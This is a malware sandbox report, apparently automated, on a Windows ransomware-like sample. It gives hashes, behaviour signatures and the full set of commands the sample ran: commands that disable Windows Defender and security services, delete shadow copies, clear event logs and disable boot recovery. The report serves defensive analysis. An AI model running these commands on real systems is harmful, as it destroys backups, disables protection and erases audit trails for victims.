Resubmissions

12-01-2022 20:48

220112-zlnz9adhf2 10

12-01-2022 19:37

220112-yb5pksdgc6 10

12-01-2022 19:25

220112-x5evksdgdl 10

12-01-2022 16:50

220112-vb8jpadcc4 10

Analysis

  • max time kernel
    44s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    12-01-2022 19:25

General

  • Target

    cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf.exe

  • Size

    2.6MB

  • MD5

    47f540350b1d360403225d146cc7fbb8

  • SHA1

    43ad25b99cb47c7367b1703315402bb9e4970590

  • SHA256

    cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf

  • SHA512

    91387685946beb65cddbc62b19102a1135511563bd84f24cacc402a1e5a1afb750887fa9d50e7120acd23ae27af53669a45fc48363c000b7f2ffb777036019ce

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf.exe
    "C:\Users\Admin\AppData\Local\Temp\cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1984
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:524
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:472
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:1416
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1464
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:1396
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:540
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:1752
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1508
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:620
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2028
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:2044
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1048
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1968
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1084
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:736
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                        PID:964
                      • C:\Windows\system32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:1196
                        • C:\Windows\system32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:1900
                          • C:\Windows\system32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1712
                            • C:\Windows\system32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1020
                              • C:\Windows\system32\sc.exe
                                sc.exe config "VSS" start= disabled
                                2⤵
                                  PID:1924
                                • C:\Windows\system32\sc.exe
                                  sc.exe config "wbengine" start= disabled
                                  2⤵
                                    PID:1704
                                  • C:\Windows\system32\sc.exe
                                    sc.exe config "WebClient" start= disabled
                                    2⤵
                                      PID:1600
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:376
                                      • C:\Windows\system32\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:108
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:516
                                          • C:\Windows\system32\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:1632
                                            • C:\Windows\system32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:1764
                                              • C:\Windows\system32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:620
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:2032
                                                  • C:\Windows\system32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1852
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:1120
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:1548
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:2012
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1736
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:556
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:888
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:1976
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1684
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:792
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:1404
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:1992
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:1052
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:1624
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:1176
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:1688
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:1188
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:1660
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:968
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:1416
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:1104
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:436
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:1540
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:676
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:1748
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:1696
                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:816
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2000
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1948
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl application
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:524
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:832
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe shadowcopy delete
                                                                                                      2⤵
                                                                                                        PID:1616
                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                        2⤵
                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                        PID:2060
                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                        bcdedit.exe /set {default} recoveryenabled no
                                                                                                        2⤵
                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                        PID:2084
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        2⤵
                                                                                                          PID:2104
                                                                                                          • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                            3⤵
                                                                                                            • Deletes Windows Defender Definitions
                                                                                                            PID:2124
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          2⤵
                                                                                                            PID:2136
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                              3⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2156
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            2⤵
                                                                                                              PID:2228
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                                3⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2248

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                                            MD5

                                                                                                            8fef5645ac7250580d23b10c8a777ffc

                                                                                                            SHA1

                                                                                                            cd3aa2da88aa658ba0c48e707c89f242bcec5043

                                                                                                            SHA256

                                                                                                            fd0c3e62f5e616e4f1b62faada33ff626e3f7f646e814a4b1675abb1068585f1

                                                                                                            SHA512

                                                                                                            3de2c2c044bd529872deac4052ec4d5fa4d3f108cb9250c94a4b1e32f03730ff3d8eca426f6be6c5582d4b63ca428c3e002247af61039248709c615aaf4a2c8e

                                                                                                          • memory/108-79-0x0000000000000000-mapping.dmp

                                                                                                          • memory/376-78-0x0000000000000000-mapping.dmp

                                                                                                          • memory/436-106-0x0000000000000000-mapping.dmp

                                                                                                          • memory/472-56-0x0000000000000000-mapping.dmp

                                                                                                          • memory/516-80-0x0000000000000000-mapping.dmp

                                                                                                          • memory/524-55-0x0000000000000000-mapping.dmp

                                                                                                          • memory/524-116-0x0000000000000000-mapping.dmp

                                                                                                          • memory/540-60-0x0000000000000000-mapping.dmp

                                                                                                          • memory/556-90-0x0000000000000000-mapping.dmp

                                                                                                          • memory/620-83-0x0000000000000000-mapping.dmp

                                                                                                          • memory/620-63-0x0000000000000000-mapping.dmp

                                                                                                          • memory/676-108-0x0000000000000000-mapping.dmp

                                                                                                          • memory/736-69-0x0000000000000000-mapping.dmp

                                                                                                          • memory/792-94-0x0000000000000000-mapping.dmp

                                                                                                          • memory/816-111-0x0000000000000000-mapping.dmp

                                                                                                          • memory/832-118-0x0000000000000000-mapping.dmp

                                                                                                          • memory/888-91-0x0000000000000000-mapping.dmp

                                                                                                          • memory/964-70-0x0000000000000000-mapping.dmp

                                                                                                          • memory/968-103-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1020-74-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1048-66-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1052-97-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1084-68-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1104-105-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1120-86-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1176-99-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1188-101-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1196-71-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1396-59-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1404-95-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1416-104-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1416-57-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1464-58-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1508-62-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1540-107-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1548-87-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1600-77-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1616-119-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1624-98-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1632-81-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1660-102-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1684-93-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1688-100-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1696-110-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1704-76-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1712-73-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1736-89-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1748-109-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1752-61-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1764-82-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1852-85-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1900-72-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1924-75-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1948-114-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1968-67-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1976-92-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1984-54-0x0000000000000000-mapping.dmp

                                                                                                          • memory/1992-96-0x0000000000000000-mapping.dmp

                                                                                                          • memory/2000-112-0x0000000000000000-mapping.dmp

                                                                                                          • memory/2000-113-0x000007FEFC151000-0x000007FEFC153000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2012-88-0x0000000000000000-mapping.dmp

                                                                                                          • memory/2028-64-0x0000000000000000-mapping.dmp

                                                                                                          • memory/2032-84-0x0000000000000000-mapping.dmp

                                                                                                          • memory/2044-65-0x0000000000000000-mapping.dmp

                                                                                                          • memory/2060-120-0x0000000000000000-mapping.dmp

                                                                                                          • memory/2156-127-0x00000000025FB000-0x000000000261A000-memory.dmp

                                                                                                            Filesize

                                                                                                            124KB

                                                                                                          • memory/2156-123-0x00000000025F0000-0x00000000025F2000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2156-125-0x00000000025F4000-0x00000000025F7000-memory.dmp

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                          • memory/2156-126-0x000000001B720000-0x000000001BA1F000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.0MB

                                                                                                          • memory/2156-124-0x00000000025F2000-0x00000000025F4000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2156-122-0x000007FEF3360000-0x000007FEF3EBD000-memory.dmp

                                                                                                            Filesize

                                                                                                            11.4MB

                                                                                                          • memory/2248-130-0x000007FEF29C0000-0x000007FEF351D000-memory.dmp

                                                                                                            Filesize

                                                                                                            11.4MB

                                                                                                          • memory/2248-131-0x000000001B8C0000-0x000000001BBBF000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.0MB

                                                                                                          • memory/2248-135-0x0000000002204000-0x0000000002207000-memory.dmp

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                          • memory/2248-134-0x0000000002202000-0x0000000002204000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2248-133-0x000000000220B000-0x000000000222A000-memory.dmp

                                                                                                            Filesize

                                                                                                            124KB

                                                                                                          • memory/2248-132-0x0000000002200000-0x0000000002202000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB